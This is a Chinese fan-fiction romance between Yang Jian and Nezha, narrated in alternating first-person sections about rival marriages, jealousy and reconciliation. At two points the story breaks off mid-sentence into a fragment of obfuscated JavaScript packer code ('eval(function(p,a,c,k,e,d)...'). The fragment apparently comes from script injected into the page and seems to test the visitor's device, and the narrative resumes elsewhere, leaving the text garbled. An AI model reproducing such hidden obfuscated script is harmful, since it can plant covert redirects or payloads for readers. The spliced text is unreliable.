我也不给自己开脱什么,一开始我就告诉龙女我没想对她负什么责,更不会对她有什么感情,龙宫追着我要求成亲已有几百年了,须知强扭的瓜不甜,若不是外公开口,我真的不会就此妥协。 现在我更担心的是哪吒的状况,不知道他为何会在一夜之间变得如此憔悴,我反复问他发生了什么,他都沉默不语,好像存心想把我急死似的。 “罢了罢了,”我摆手道,“你不说也罢,二哥在这儿照顾你几天。” 他诧异地抬起头看着我,问我是不是该回府去,我没好气道:“回府干什么?你这个样子,回府了我也是日牵夜挂。” “二哥,这样不好。” 我知道他在说什么,他脸皮不如我厚,可能是怕被人传闲话?看来我也得多留意着,不能让他被闲话缠身——他已经够累够辛苦了。 【哪吒】 他依旧经常来找我,见到他我很欢喜,可是也有些顾虑。他的每一次出现都提醒着我,他已经成亲了,屋里有美娇娘等着他,而我并不想做横亘在他和那个女人之间的第三者。 我劝他回去,他总是很不耐,我知道他担心我,因此也好好配合他,他喂我吃东西、替我换衣服、扶我散步,抱着我柔声安抚,我可以短暂地欺骗自己他爱的是我,他看我的眼神是从未有过的温柔和专注。 我夜不安枕,他竟然选择躺在我身边,和我同榻而眠,我惊讶极了,也颇为惶恐,不敢直视他,他却自然地搂着我,近距离观察我的状况,见我依旧脸色苍白,不由得皱紧了眉头。 “你心神不宁,思虑过度,”他轻声说,“我担心你这样下去会日渐憔悴。” “师兄实在不应这样关心我……” “什么话,你要是出了事,我怎么和太乙师伯交代?” “会有人来照顾我的,师兄毋需担忧。” “哪吒,”他一把抓住我的手腕,“你和我疏远了,说话也客气了不少,是不是我哪里做错了,惹了你不高兴?” “师兄哪里的话。” “是我成了亲的缘故吗?你觉得我不再把你视作好兄弟了?” “……哪吒不敢这么想,师兄回去陪陪嫂子是天经地义的事。” “我陪你才是天经地义的事,”他的语气很生硬,“不许乱想,不论如何,咱俩还和从前一样。” 怎么可能和从前一样?你已经成亲这个事实就是卡在我心头的一根刺,无论怎样都会留下伤疤,略微挠一挠还会生出钻心的疼痛。 【杨戬】 我很担心哪吒,他的脸色差极了,憔悴不堪。之前我每日都陪着他,才见了一点起色,这段时间灌江口出了点事,我便回去了一段日子。 可是回来时,天宫竟然传出了哪吒的婚讯。我火急火燎地赶到云楼宫去问他,结果你们猜他说什么? 他说那些传闻都是真的,他真的要成亲了,和一个名叫张黎的小子,我不管是张黎还是李黎王黎,他成亲这件事我居然是最后一个知道的,对象我也没见过,若非我偶然上天,他居然还不打算告诉我。 我快气晕了,问他为什么贸然做出这种决定,为什么突然想成亲,他沉默不语,像个闷葫芦。经不过我的反复质问,他说他想找个人照顾自己,真是可笑,这世上还有谁比我更懂怎么照顾他? “二哥,你已经成亲了,怎么能时时在我身边照顾我?你又不是我丈夫。” “我不是和你说了吗?我成不成亲咱俩都和以前一样,你钻牛角尖做什么?” 说话间,那个男人已经来了,我只看了他两眼便知这人配不上哪吒——相貌平庸,武力更是平平,这人居然还有脸在我面前拉哪吒的手。 “你要是和他成亲,就别想我会去你的婚礼给你送祝福。” 我撂下这句话后就走了,现在想来,那终究是句气话,我应该去看看他穿婚服的样子。 【哪吒】 我不想把事情闹成这样的,在战场上,我所向无敌,可是在对待杨戬时,我就是如此懦弱。他已经成亲,我不想和他再有什么,只想逃避,而最好的办法就是找个人陪伴我。 他没来我的婚礼,可惜了,我其实很想看看他的表情,我知道他是在乎我的,此刻心中恐怕也是五味杂陈。也罢,演完这场闹剧,一切就尘埃落定了,他已娶我已嫁,两个已婚之人没什么好挂念的,从此以后就断了所有念想。 新婚之夜,我将身上的人设想成杨戬,幸福得落泪,就算此时让我死也是值得的,可是眨眨眼,他就不见了。 我好想他,他身上的味道和张黎不一样,我已经闻习惯了。 杨戬,杨戬,为什么你不是我的,为什么你要娶别人。 【杨戬】 听天化说,他已经和那个男人入了洞房。 我很想杀人。我想捏碎他的骨头,喝他的血,咬烂他的心脏,剁掉他的手和脚,看他以后还敢不敢玷污我的师弟。 可我也气哪吒,我气他如此草率地结下了终身大事,我气他把我晾在一边不同我商量,我气他和我生了嫌隙,逐渐疏离,还不告诉我原因。 我静静坐在桌旁,喝了一夜的酒,回想我们从前的快乐光景,不知道为何就突然成了这样,我和他再也回不去了,他有了丈夫,我和他之间已经有了个多余的人。往后每次和他接触,我都会想到和他最亲密的人已经不是我了。 可能这就叫做嫉妒?我不知道,我只知道这天上地下只有他能让我这样,我不在乎其他人,我只在乎这个师弟,从封神时代就和我出生入死的师弟,可是如今他不再需要我了。 哪吒,在别人怀里的时候,你脑海里可曾会浮现我的面容?我曾经以为我们会一直这样,毕竟这天上能让我牵挂的人就只有你,可是…… 哎…… 【哪吒】 成亲之后,杨戬师兄大约有几个月没来找我,我很思念他,平常我忙着降妖除魔时也没这般想他,想来是以为他总会在那儿等着我,早去晚去都一样的缘故。 张黎对我很好,事事为我着想,他和杨戬有点像,身高和气质都像,否则我也不会答应他。 这日风和日丽,我降妖归来,经过灌江口,最终还是没忍住下去了。郭申见我来,欢喜得很,忙唤杨戬,后者看到我,先是笑了下,又马上换了表情。 “师兄,你和嫂子还好吗?” 听到这个问题后的他冷笑一声,拂袖而去,郭申拉着我进府,悄悄告诉我这几个月他们都不好过,龙女闹脾气,杨戬忍着没向她动手,只冷落她,前几天龙王来要说法,被杨戬好一阵冷嘲热讽,被逼急了还出手将龙王打伤,拔了他的龙角。 这事说大不大,说小也不小,我有些心惊,忙跑过去看他状态,他由着我看,表情依旧淡淡的。 “师兄,我知道你不会想着息事宁人,我也不劝你,只是再气也别把人家的女儿伤了,好生养着就是了。” “我何尝不想这样,可他们得寸进尺,”杨戬瞥他一眼,“你别管,这是我的事。” 说话间,龙女已从偏殿出来,见到我,神色万分惊恐,看看杨戬,又看看我,脱口而出:“你怎么来了?” 我还没说话,师兄的怒气已经升腾:“这是你对中坛元帅说话的态度?” “夫君,他是你师弟,平日与你兄弟相称,自然也是我弟——” “闭上你的嘴。” 我莫名有种成为第三者的感觉,拽了下杨戬的衣袖,想让他少说几句,可他这回似乎是真怒了:“谁是你夫君?之前我就跟你说了,我对你既无感情,也无亏欠,你好好呆在我府里不生事,我可以和你和平相处,现在你仗着进了我府,自以为有了靠山,纵容你的兄弟在外为非作歹,欺压百姓,还带着那老泥鳅在我面前摆老丈人的威风,如今更是要踩到我玉虚门下弟子的头上去了,哪吒是我师弟,是中坛元帅,平时你连面都见不到的天庭尊神,你还妄图和他攀亲戚?” “当年他杀了我表兄——” “那是他该死,”杨戬的语气寒得让对面的人打了个冷战,“你们也该死,杨某近日脾气很差,倘若你们再在我府中生事,我不介意把你们全家抽筋扒皮,做成炒龙筋让你吃下去。” 这下何止是龙女,连我也不敢说话。杨戬拉着我的手,将我扯进房内,二话不说就要和我喝酒,想来这几个月是烦得很,我暗暗自责,想着自己应该早些来看他。 【杨戬】 他就坐在我对面与我喝酒,见我不说话,或许是想劝慰我,可惜开口就是“嫂子”。 “别张口嫂子闭口嫂子,她是你哪门子的嫂子。” 他噤声了,默默吃菜,好一会儿没有说话,我知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他睡着的样子极乖巧,眉心朱砂痣隐隐发光,我替他解了发髻,梳顺头发,又替他擦洗身体,换好衣服,用毯子将他裹好,抱到我的卧室里。龙女呆呆地看着我的动作,问我对哪吒到底是什么感情,我脑中回响着哪吒方才对我的表白,看着他的睡颜,竟然笑出了声。 “明天你和我去见玉帝,咱俩和离,我会按嫁妆的两倍之数赔偿你。” 龙女站在门口轻声抽泣,我也是极其无奈:“之前就跟你说过了,你哭什么?别吵着他睡觉。” “杨戬!” 我抬眼怒瞪着门口突然大吼一声的女人,哪吒似乎也在睡梦中受惊了,身子抖了一下,我急忙将他搂住,轻声安慰。 “二哥……” “二哥在这儿,”看着他这副刚刚哭过、不太清醒的可怜模样,我心头发热,轻抚他的脸,“二哥在这儿……” 【哪吒】 太丢人了,昨晚喝多了酒,居然在二郎真君府过了一夜。醒来时,杨戬就靠在我身边,手还紧紧地搂着我的腰,呼出的热气直接打在我的面部,我差点以为我和他又回到了从前。 我撑着身体从床上坐起来,龙女突然出现在了门口,我和她大眼瞪小眼,见她惊恐,连忙摆手道:“嫂……那个什么……不是这样……” 她的眼睛又红又肿,好像是哭过了,我刚想问怎么了,她就指着手臂还环在我身上的杨戬,发出了一声尖叫。 “不是这样的!嫂子,我……”我慌了,我固然喜欢杨戬,可也从来没想过让他背负抛弃妻子,婚内出轨的名声,连忙下床,腰却突然被一只手揽住,没等我反应过来,我又被按回到了床上。 “二哥?” “吵什么?”杨戬皱着眉看向门外,晃晃悠悠下床,披好了衣服,“这府里每个人都习惯了我和他如此,你觉得这是新闻?” “你们……不知廉耻!” “廉耻?!”杨戬的音调陡然拔高了,“几千年前为了救他,我便和他躺在一处了,各自的师尊也都知晓,如今要你来教我们廉耻?” “二哥你少说几句吧……”眼见龙女要急了,我拢好衣服,也摸下床,“嫂子,我和师兄没什么的……” “没什么你们亲亲我我睡一块儿睡几千年?没什么你俩能动不动搂搂抱抱?我见过那么多师兄弟,却没见过你们这样不要脸,名为师兄弟却暗自苟且的!” “嘴巴放干净点。”杨戬扬手,我知道他这是要拿三尖两刃刀了,急忙扑过去勾住他手腕,摇了摇头:“我这就走。” “你不许走!”杨戬揪着我的手,死死拽着我。 “堂堂中坛元帅,舍了自己刚成亲几个月的夫君,来到这里专程勾引别人的丈夫,果然是个毫无礼仪、横行霸道的下贱胚子,小时候什么样,长大了依旧——” 我在慌乱中套好外衣,垂着头扎腰带,知道龙女是受了刺激才会说出这番话,并不怪她,我被如此骂也不是一次两次了。 可是我忽略了一点,别人再怎么骂我,因顾忌着我的实力,也都是偷偷地骂,从来没有人敢在杨戬面前如此说我——除非长了八百个胆,因此他便是头一回听到这些针对我的词,不出所料怒上心头,不等我反应过来就扬手,把对方连人带门板掀了出去,乾坤扇拿在手里,天目圆瞪,放出的神光让龙女痛苦地匍匐在地,无法动弹。 “二哥!”我飞身扑过去,护住倒在地上的人,不想让事态再度恶化,抬头看向暴怒的杨戬,“二哥你冷静冷静,她也是一时无法接受。” “一开始就是你们硬逼着要攀上我,我也早说了我对你毫无兴趣,留你清白身子,图个清静把你供在府里,对你家,我已经仁至义尽,现在你蹬鼻子上脸,敢在我面前凌辱我师弟?!”杨戬的视线穿过我,直逼龙女,“你怎么不问问这天上的三百六十五路神仙,他们哪个敢这样?” “二哥,算了吧。” 杨戬握着扇子瞥了我一眼,见我阻拦,叹了口气:“罢了,收拾收拾,我们去和离,敢说半个不字,我今天就去杀了你那几个在凡间作乱的兄弟,扒了他们的龙肉喂你吃下去。” 龙女已经被生气的杨戬吓得呆住,我无奈地伸手过去,想把她拉起,她毫不客气地甩开了我的手。 我知道杨戬生起气来就是如此可怕,有时逼急了,他的手段甚至算得上狠毒,可就是这份狠毒,能让他在危急关头力挽狂澜,扭转局势,成就了封神战场上的不败将军。 他将我从地上带起来,躬身拍了拍我的膝盖,问我有没有哪里不舒服,我摇了摇头。 “二哥,我该回去了。” “回哪儿?回……回那个人身边?”杨戬把玩着手中的扇子,死死盯着我。 “他是我夫君。” 转身驾云离开时,我感觉到了身后一道炙热的目光,带着愤恨和不甘,结合今早发生的一切,难不成……是我昨晚说了些什么? 8.只是当时(中) 【哪吒】 连续三日,我都缩在云楼宫看兵书,张黎给我做了莲花酥和蟹肉卷,又去花园折了桂花酿酒,还放了些在我房里。我没想到他心细至此,昨日我提了一嘴蟹肉,他今天就寻来了大闸蟹,给我做了这些点心。 “有心了。” 他放下糕点和桂花枝,正要离开,我叫住了他:“坐下吃点吧,看你忙了大半天。” 他点点头,安静地坐下,自那日我在二郎真君府过夜回来,他就一直很沉默,好像想对我说什么。 “有话就说。” 他笑了一下,喝了点黄酒,低声道:“那日你回来后,二郎真君就带着人来了凌霄宝殿,与那西海龙女和离了。” 我的笔尖略停了下,没有作声。 “我知道你和二郎真君一向交好,说是生死之交也不为过,他也是万般呵护你,之前他突然成亲,我也很惊讶。” “你到底想说什么?” “我想说,现在真君已经和离,你若想悔婚,去和真君……我是可以答应的,反正……其实大家都觉得你俩是真正的天作之合。” 我并不惊讶他会这么想,龙女那性子,就算是和离,也必定是要闹一闹的,搞不好现在天宫的大多数人都知道我和杨戬搂着躺了一张床——可我俩素来交好,这属实不算什么。 他不知道的是,杨戬对我并没有那种心思,否则他也不会为了交差随便给自己招来一门亲事,我与他交好数千年,他也从未想过与我成亲,全都是我一厢情愿。 “我没有这种想法。” “洞房那晚,你在睡梦中念的也是二郎真君的名字。” 真是太尴尬了。 【杨戬】 和离之后我做的第一件事,就是打开哪吒当日送来的新婚礼物。翻开这些绸缎布匹和精致的首饰,我看到下面有个暗格,轻轻打开后,数十条叠得整整齐齐的手帕、十五个荷包赫然躺在里面,各种颜色、各式绸缎花样的都有,有些绣了花鸟,有些绣的是字,绣工无一例外都很粗糙,有些甚至还沾了血迹,想来是那个小笨蛋在绣东西的时候扎到了手。 我拿起绣着字的手帕看,丝线绣的字迹虽然歪七扭八,但还是可以辨认: “身无彩凤双飞翼,心有灵犀一点通。” “无情不似多情苦,一寸还成千万缕。天涯地角有穷时,只有相思无尽处。” “伤心桥下春波绿,曾是惊鸿照影来。” “从别后,忆相逢,几回魂梦与君同。今宵剩把银釭照,犹恐相逢是梦中。” 他看重我、记挂我、思念我,甚至会为我去学这些凡间有情人表示心意的法子。看着这些歪歪扭扭的针脚,我知道自己此时笑得可能很傻,轻轻抚摸手中的丝帕——都是上好的料子,看得出他每一次做都有送出去的打算,只是怕我嫌弃他的手艺。 他就算送我块什么都不绣的布,我也会视若珍宝,更何况是他花了心思做的东西。我抓了荷包挂在身上,又拿了块手帕,轻轻嗅了嗅,丝帕上似乎还有哪吒身上的莲香。 【哪吒】 杨戬和离后,天庭传言四起,有人说是我气走了龙女,有人说是二郎真君不想沾上和自己的师弟苟且的名声,娶了别人掩人耳目,但最终纸包不住火,我和他的地下情还是被龙女撞见了。我听得莫名其妙,杨戬与我同榻而眠不是一次两次了,为何这些人都如此大惊小怪。 我还好,就是苦了张黎,身为“二郎真君与中坛元帅之间唯一的障碍”,他每每出门,都要忍受各路神仙的异样目光,最后实在不堪其扰,和我一同呆在云楼宫不出去,就当是避风头了。 他避风头,我也避风头,就是—— “元帅,真君在门外等候。” 我放下沙盘里的兵马,无可奈何地迎上去,张黎见他来,刚开始不敢出来,最终还是被我拖着一同迎客。 “哪吒,我给你带了酒,”杨戬笑嘻嘻地进来,晃晃手中的酒坛,“这可是万年陈酿。” “多谢二哥。”我伸手想接过,张黎却抢先一步替我拿了,让如云放到酒窖里去,我抬眼看杨戬,他已变了脸色:“这是什么意思?” “真君有所不知,前段日子哪吒在你府中喝了太多,肠胃肝脏不堪重负,仙医嘱咐他要等些时日再碰酒,”张黎笑着回话,“扫了真君兴致,在下这就下厨做两个好菜和点心,以表歉意。” “二哥,的确如此。” “好吧,”见我发话,杨戬的脸色才缓了缓,拉住我的手腕,“你身子不适也不跟我说?” “前些日子二哥应该正忙……” “少跟我说这些,你从前可从不看我忙不忙,什么时候想下界游玩了什么时候就去找我的。” “二哥我……”我扶着他坐到房内,“我这不是有点忙吗……” “有人缠着你?” 我知道他意指谁,摇了摇头:“他对我极好,我去哪儿、做什么,他也从不干涉。” 【杨戬】 一顿饭吃得我一肚子气。 先是拿了我酒,说是为哪吒着想,这个姑且不谈,席间做了两道我也会做的菜,还有一道莲花酥,看上去倒是精巧别致,可他晃着他的两只爪子不停地给哪吒夹菜,好像哪吒要吃什么都得听他的,哪吒说了不要,他还劝,我看不过,插了几句嘴,这小子做出一副老实样子,轻声说:“这是我找药王要的食疗方子,养你身体的。” 哪吒最终还是吃下了,赞他手艺好,我沉默不语,拿出帕子擦了下嘴边的水渍,不出所料看到哪吒在盯着我。 “二哥……”他的脸有些红,“这是……” “你做的,”我笑着给他看,“身无彩凤双飞翼,心有灵犀一点通,你和我一直心有灵犀。” 那小子见了,盯着我的靛蓝色手帕出神,又看了看哪吒,垂头沉默。哪吒一向好性子,思虑周全,见他似是不悦,客气地凑上去:“你若是喜欢,我改日也送你一条?” 我刚想问这算什么,须知手帕和荷包是凡间的定情之物,如今他送了我,又送了别人,岂不是没什么区别?张黎这小子就发话了:“无妨,你我已成亲,手帕都是小事。” 这句话差点让我面上挂不住,哪吒也意识到了局面的尴尬,瞄了我一眼,并未接话,语气故作轻快,让我们多尝尝桌上的点心。我放下筷子,伸手搭上他的手腕,查探他的气息,他的手微微往后撤了下,试图挣脱,被我用力握住后才作罢。 “二哥?” “别动,你这段时间的状态比之前好了些,但还是疲惫。” “他因何如此?二郎真君该心中有数。”张黎的语气突然生硬了起来,不复之前温文尔雅的模样,好像对我很有意见。我正不知如何应答,哪吒就扯了扯他的衣袖,示意他不要再说什么,可我不想就这么糊弄过去。 “张公子,”我从牙缝里挤出这三个字,一字一句地问,“何出此言?” “行了,别说了。”哪吒皱眉。 “听张公子的意思,哪吒这段日子心神不宁,体虚疲累是杨某的错?” “以前我以为你们俩几千年的交情,该是无话不谈,对彼此无所不知,现在看来也并非如此。” 这句话让我怒火升腾,额头青筋暴起,若不是哪吒在场,我的乾坤扇早就亮出来了,沉默数秒,我还是压下了怒气:“张公子真会说笑,当年哪吒在阵前冲锋受伤那会儿,我去给他求药,路上还遇到了碧华与你,当时你还是小娃娃,身高只到我的大腿,如今也能和我们兄弟俩坐一块说话了。” “你……”张黎被我激得手腕一紧,我也早就做好了准备。 “可以了,都闭嘴,”哪吒把筷子放下,低声吼道,“吃个饭都不安心,真是吵死了。” 【哪吒】 见我发火,他俩收敛了不少,杨戬先张黎一步扶住了我,将我带到房内,问我到底是怎么回事,我如何能说我是因为他的婚事心下不悦,才如此郁郁寡欢,只能敷衍搪塞,可是他偏偏能看出来我在说谎,于是继续追问,我只摇了摇头:“二哥毋需多想。” “你既不想说,我也不勉强你,”他抚摸我的额头,将我搂入怀中,“我已和离了,这荒唐事了结,之前委屈你了。” “二哥娶妻,我谈何委屈?”我笑笑,“只希望二哥日后能觅得良缘。” 他凑近了冲我笑,目光所及之处,皆有火光灼烧之感,我经不住这般眼神,垂头盯着地板,却被他扶住了下巴,那两根修长有力的手指将我的脑袋移了过去,力道不容我反抗。 “你的荷包和手帕,二哥都好生收着了。” “绣得不成样子,见笑了……” “那日醉酒,你已吐露真心,为何还如此遮遮掩掩?”杨戬认真地盯着我。 和我想的一般无二,我果真说了那番话。 “二哥,我确实越界了,不该在你成亲后还与你那般,小弟一时糊涂……” “一时糊涂?” “二哥已和离,外界风言风语二哥也听到了,说你我已超越兄弟之情,暗自苟且,这些话——” “这些话也不全是胡说,你我本就亲密,本就超越了兄弟之情。” “是哪吒痴心妄想。” 他摇头叹气,像是在自省,又像是在自白:“你说你痴心妄想,我说我愚笨迟钝,咱俩糊涂到一块儿去了。” 我惊愕抬头,他又站近了些,身体紧紧地贴着我,手臂也收紧了,我本来有些拘束,但一想到是杨戬,登时放松了些,情难自禁,伸手想抚上他的面庞,脑内却划过一道闪电,不由分说将我劈醒——我已经成婚了。 我迅速将他推开:“我已经成婚了,二哥,这不对……” “你又不爱他,同他和离罢。” “他并无过错,待我极好,我——” “他才对你好了几日?”见我犹豫,杨戬有些恼了,“他懦弱无能,平庸至极,断配不上你。” “他有他的好处,我俩当着玉帝的面成婚不过数月,如此他一定会为众仙家耻笑,我不能如此伤害他。” “那我呢?你不忍伤害他,却舍得晾着我?” 我终究是没忍住,轻声道:“当初我选择成亲,就是为了麻痹自己,好抚平你成亲给我带来的痛。” 【杨戬】 我如遭雷击,呆在了原地。 “那……你心神不宁也是因为……我?” 他面色悲戚,摇头道:“是我自己不争气,被情爱拖累,怨不得任何人。” 他这样说,那就是因为我了。回想之前发生的一切,我还曾数次追问他究竟为何疏远我,竟不知答案近在眼前,我看到他与张黎成亲时所想,八成也是他在我与龙女的“婚礼”上所想,可为了让我高兴,他装出了一副兴奋的模样,私底下怕不知心碎了多少回,而我竟然还浑然不知。因为我的婚事,他神色憔悴,心不在焉数月,最终可能也不得已选择了成婚,断了念想,以此疗愈。 “二哥,张黎对我很好,你毋需担心。” “是不是我当初不成婚,就不会这样?”我有许多话想说,却不知如何说起,只能这样问。 “或许是我应该早日鼓起勇气同二哥说清楚,”他笑道,“可我总怕二哥嫌弃我,手工一类我终究不擅长,二哥是个讲究人……” “那如今你怎么想?”我仍有一丝希望,“二哥如何待你的你都知道。” 他并未回应,看着我的眼神带着无奈,张黎在此时敲门进来,给他带来了参汤,嘱咐他趁热喝,我看到哪吒微笑着冲他点头,他好像也知道我们在谈什么,并没有多留,说了几句后就出去了。 “哪吒。”我上前一步,揪住他的手,对自己的恼怒和对他的歉疚与疼爱一股脑涌上心头,向从前那样重新将他搂住,他轻轻挣扎,慌乱得很:“二哥……不能这样……” “嘘——你先告诉二哥,你可还喜欢我?” 他紧咬下唇,不敢看我,点了点头。 “只是碍于情面不好赶他走?” “话不能这样说……二哥你先放开……” 我自然没有放开,而是扣住了他的后脑勺,他无处躲闪,只能由着我来。我凑近了,与他鼻尖相贴,他的脸颊飞起红云,有些可爱,让我想起盛夏时节随着微风摇曳的莲花,一双杏眼秋波流转,指若削葱根,被红玉戒指衬得愈发细腻白嫩。他不太习惯我的靠近,指尖轻轻扫过我的胸口,连带着我的心好像也被挠了一下。 “二哥,你放开我吧,以后……别这样了。” 我依旧没松开,幽幽道:“让他瞧见又如何?鸠占鹊巢,他该有自知之明。” “二哥你不能这样说,这数月都是他在照顾我,更何况我和他成亲时二哥也有妻子,何来鸠占鹊巢一说?他从未想过与二哥相争。” 这番话说得我哑口无言,哪吒在天庭做元帅,顾虑重重,自然不如我随性,这人若是真对他好,并不无理取闹,他的确也没理由将人家休了。 思来想去,还是我当初做错了选择,为着图个清净贸然答应了成亲,伤了他,最终也伤了我自己。 【哪吒】 拒绝杨戬是这世上最困难的事,至少对于我而言是如此。 可我不能答应他,传言已经在天庭生根,若我在此时抛下张黎,便是坐实了私情一说,可事实并非如此——他娶龙女并不是为了遮掩我与他的事,更何况当时我与他有什么事?只是师兄弟罢了。 入夜,张黎如往常那样与我分房而眠,除了新婚那晚,我们没有同房,就连摸我的手,他也会事先问一句,征求我的同意,想必是因为知道我的心思。杨戬走后,我小心翼翼地问他有何感觉,他只说于他而言这是意料之中的事,他也并不指望能与我举案齐眉,只看能待多久罢了,我有些心酸。若说杨戬成亲伤害了我,我又何尝没有伤害旁人,张黎性子温吞,是个老好人,这让我心中更添了一分愧疚。 “参汤该凉了,”张黎把碗端到我面前,“趁热喝了吧,早些休息。” “好,你也是。”我冲他淡淡一笑,接过了碗,在他的注视下喝完。 连着几个月,杨戬隔三差五就来云楼宫一趟,送些首饰布匹之类的暂且不说,还时不时带来他做的点心和饭菜,他记着我暂时不能饮酒的事,用玄功给我熬了莲叶羹养身体,还给我送了几份人间的开胃小吃,别有一番风味。 每次他来,张黎都会下厨招待,做上一两道小菜,可杨戬并不给面子,他几乎不会动筷,吃也是吃自己带来的东西,个中缘由我自然是能看出来的,但并不想管。 三个月后,我带兵去了西海平乱。 【杨戬】 如月慌慌张张跑进我府中说哪吒太子已前去西海平乱的时候,我就预感会出事。西海是谁的地盘每个人都清楚,我没想到我的债最终竟然也要他来还。 我赶到的时候,海边已经横了几具龙尸,有天兵在做收尾工作,我问了几句后就顺着他们的指引来到附近的村庄,正着急找不到人,哪吒就慢慢从山谷中走了出来。 他捂着正在缓慢渗血的腹部朝我走来,脸色苍白,身边的兵死伤大半,另外的被他遣到了较为安全的海边,我急忙将他扶住,定睛往山谷看去,一条发黑的龙尸横在了河边。 他嘴唇打颤,说不出话,这番光景让我又想到了当年的汜水关,一眼看出他中了毒,急着给他把脉。 “二哥,你怎么……” “别说话。”我见他气息虚浮,唇角发灰,整个人如被蒙上了一层雾,生气全无,心下着急,抱起他便上了天。张黎那小子也不知在何时赶了过来,见我抱着人,凑过来瞧哪吒的情况,我本能地往后退了一步,他领会了我的意思,又沉默了。 仙医说他的毒难解,需用□□血气先养着,再从长计议,我刚想取自己的血,仙医就拦住了我:“真君,让张公子来吧,他与三太子是伴侣,行过夫妻之礼,血气更易相融。” 我呆在原地,紧紧搂着怀中的人,张黎听了二话不说开始取血,为哪吒调和身体气息,防止毒素扩散。 直到现在,我才真正觉得失落,像是被谁照着心口打了一棒,打得我站不起来。他俩已是成了婚的,而我连护着他的资格都没有了,原本我的玄功最适宜调养他的莲身,可是如今…… 我的脑海里渐渐浮现出一个想法,有声音在疯狂地叫嚣怒吼,如黑雾般将我笼罩、吞噬:原本这位置应该是我的,我应该和他成亲,这样与他有夫妻之礼的人是我,能取血护着他的人是我,能日日呆在云楼宫照顾他的人也是我。 应该是我,陪在他身边的人应该是我,不应该是任何别的什么人,除了我以外,没人配待在他身边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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世间竟有如此无用之人,我气得想踹他,揪起他的衣领,哪吒好像想拦,但我没理他,我想我当时的表情可能有些狰狞:“既然和他成了亲,就该有这个能力护着他,不然要你何用!!” “这半月他已经十分尽心,我体质特殊,寻常神仙比不得,二哥你也知道——” “你别打岔,”我头都不回,继续指着张黎,“瞧你这副半死不活的样子,若是他日后又受伤,你岂不要横尸云楼宫?” “这不正好如你愿吗?”张黎怒目圆瞪,拢紧披风,恶狠狠地看着我,我从来没见过他这副神情,不过倒也不慌,见他回嘴,剑眉一挑,没有接话。 “杨戬,我本事不及你,但我不怕你,我没你那样神通广大,能寻来解药给他,但若无这十几日我的调理,他的毒素早就扩散,撑不到现在。” “还会邀功了?”我冷笑一声,松开他的衣领,举起了乾坤扇,“废物一个,难怪哪吒养了这么多天还如此虚弱。” “最起码我有资格用血气养着他,你有玄功又怎样?还得靠边站。” 他倒是个看得透的明白人,只是多生了张嘴。我气血上涌,合上扇子,以扇为剑朝张黎刺去,还没等我反应过来,金圈闪过,抵住了我的攻击。 “二哥,别伤我夫君。” 这句话好似惊雷,又好似利剑,猛地刺中了我的心口,一时间我竟无法动弹,大脑一片空白,空荡荡的,只留这句话在回响。 他叫他夫君,那我算什么? 我与他相识相知几千年,出生入死不知多少回,我做的菜和点心曾是他的最爱,他送我的荷包和手帕我也收了,如今他开口叫别人夫君,那我算什么? 我究竟算什么? 【哪吒】 我没别的意思,张黎为我尽了力,叫他寒心不合适。可是这句话一出口,杨戬就僵住了,看着我的目光万分复杂,几千年来,我没见过他如此表情。 “那我算什么?”良久,他开口了。 我自然是说了个最保险的答案,我倒是想叫他夫君,可他也得肯才行。 “二哥啊。” “他是你不过一年的夫君,我是你相濡以沫几千年的兄弟。”杨戬的眼睛已经带了些红晕,我有点慌,不知哪里惹了他,我知道他发起癫来不得了,当年张奎那一遭只是开胃小菜而已,这样一想便是更加慌乱。只见他举起扇子对着我,轻声道:“你选一个吧,哪吒。” “二哥,这是……” 他深吸一口气,开扇运功,我看见扇身的山水画间隐隐闪烁着金光:“选他,你我永不再见,选我,待你身体好后,你去与他和离。” “二哥何故如此?你我之间什么时候到了这地步?张黎能力不及你我,为了救我也算尽心竭力,二哥要是觉得他无用,他之后勤加修炼就是——” “我不关心这个了,我只关心你选谁。” “二哥,你不要这样逼我,他为我疗伤,我转头将他抛弃,这是什么理?” “那就是选他了,一口一个夫君。” 这番便是没理了,我回嘴:“我与他的确已经成亲,不叫他夫君难道叫你么?我没有龙女那样好的福气,能与二哥拜堂,如今护下帮过我的人怎么就成了错?” “你要是想,咱们就拜。” “二哥说笑了,咱俩兄弟一场,哪能拜——” “什么兄弟不兄弟,你要是真想和他继续过下去,那咱俩也算不得什么兄弟了,”杨戬收了扇子,瞥了我一眼,“话说回来,咱俩若做夫妻,可比你和他这桩婚事更顺理成章。” 我爱杨戬,但几千年下来,也有不少想掐死他的时候。我知道他生气了说话不好听,可偏偏每次都能听到心里去,即便他转头向我道歉,我还是忍不住留个心眼,思考自己到底是不是如他说的那般。他是天庭贵胄,随性自在,从小到大没受过多少委屈,我却与他不同,这或许就是原因? “我看咱俩都得冷静冷静,你先回去吧。” “赶我走?” 我陡然升起一股闷气:“二郎真君来去自由,别再扯着我发火就行。” 他也怔了半刻,咬咬下唇,点头:“那我走了。” 我看着他的背影发呆,知道此时分开一会儿是明智的选择,但又怕他真的从此一去不回,从前我们也拌过嘴,可归根结底也只是两个人之间的事,从来没有介入过第三方。 【杨戬】 这遭我的确有些不讲理,可我控制不住。我只想从他嘴里听到一个坚定的答案,本以为凭借我俩几千年的交情,他多少会向着我,但是没想到…… 他说得对,他和那小子已然是成了亲的,而我连他的婚礼都没去,也没有给他送什么祝福,这一点终归是我不厚道。可是我不明白,他明明不爱张黎,为何能忍受和他居于同一屋檐下,连我也不给面子,当初面对龙女,我那样护着他,反过来,他却护着别人。 想来是我平日里太惯着他,让他以为和我闹了不愉快,过几日总能和好。 【哪吒】 四年之后,我结束了和张黎这段名存实亡的婚姻。他倒也坦然,几年相处下来和我做了朋友,平日在云楼宫干些侍从的活,专心照顾我的饮食起居,我则助他修炼,他也渐渐地有了些长进。 我俩和离的消息很快就不胫而走,传遍神仙界,张黎搬出云楼宫前也让我尽早去找杨戬,说我和他总不至于积仇积怨,有些事情发生了也就过去了。 